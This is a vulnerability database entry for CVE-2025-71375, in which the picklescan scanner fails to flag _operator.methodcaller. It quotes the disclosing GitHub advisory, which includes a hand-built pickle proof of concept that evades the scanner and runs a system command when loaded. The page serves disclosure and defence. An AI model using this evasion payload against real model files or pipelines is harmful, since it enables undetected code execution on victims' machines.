CVE-2025-71375
highpriority · track · 0EPSS 0.005 · 40 %ileEUUSEPSS · scored 2026-10-28
picklescan before 0.0.34 fails to detect the _operator.methodcaller built-in function when scanning pickle files for malicious code. Attackers can craft malicious pickle payloads using _operator.methodcaller that evade detection and execute arbitrary code when loaded by pickle.load().
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base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 4.9–8.1
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affected products (2)
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advisories (1)
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- GHSA-955r-x9j8-7rhhPicklescan is vulnerable to RCE via missing detection when calling built-in python _operator.methodcaller2025-12-30ghsa · osvUS
### Summary Picklescan uses _operator.methodcaller, which is a built-in python library function to execute remote pickle files. ### Details The attack payload executes in the following steps: - First, the attacker crafts the payload by calling to _operator.methodcaller function in reduce method - Then when after the victim after checks whether or not the pickle file is safe by using Picklescan library and the library doesn't dectect any dangerous functions, pickle.load() loads this malicious pickle file, thus lead to remote code execution. ### PoC ``` import pickle import pickletools opcode2 = b'''cbuiltins __import__ (Vos tRp0 0c_operator methodcaller (Vsystem Vecho "pwned by _operator.methodcaller" tR(g0 tR.''' pickletools.dis(opcode2) pickle.loads(opcode2) ``` This PoC can't be easily create by pickle.dumps, so it was manually built. ### Impact Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Report by Pinji Chen (cpj24@mails.tsinghua.edu.cn) from NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).
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references (6)
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- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-955r-x9j8-7rhhcnnvd
- https://www.vulncheck.com/advisories/picklescan-undetected-remote-code-execution-via-operator-methodcallercnnvd
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-955r-x9j8-7rhhenisa_euvd
- https://www.vulncheck.com/advisories/picklescan-undetected-remote-code-execution-via-operator-methodcallerenisa_euvd
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-955r-x9j8-7rhhnvd
- https://www.vulncheck.com/advisories/picklescan-undetected-remote-code-execution-via-operator-methodcallernvd
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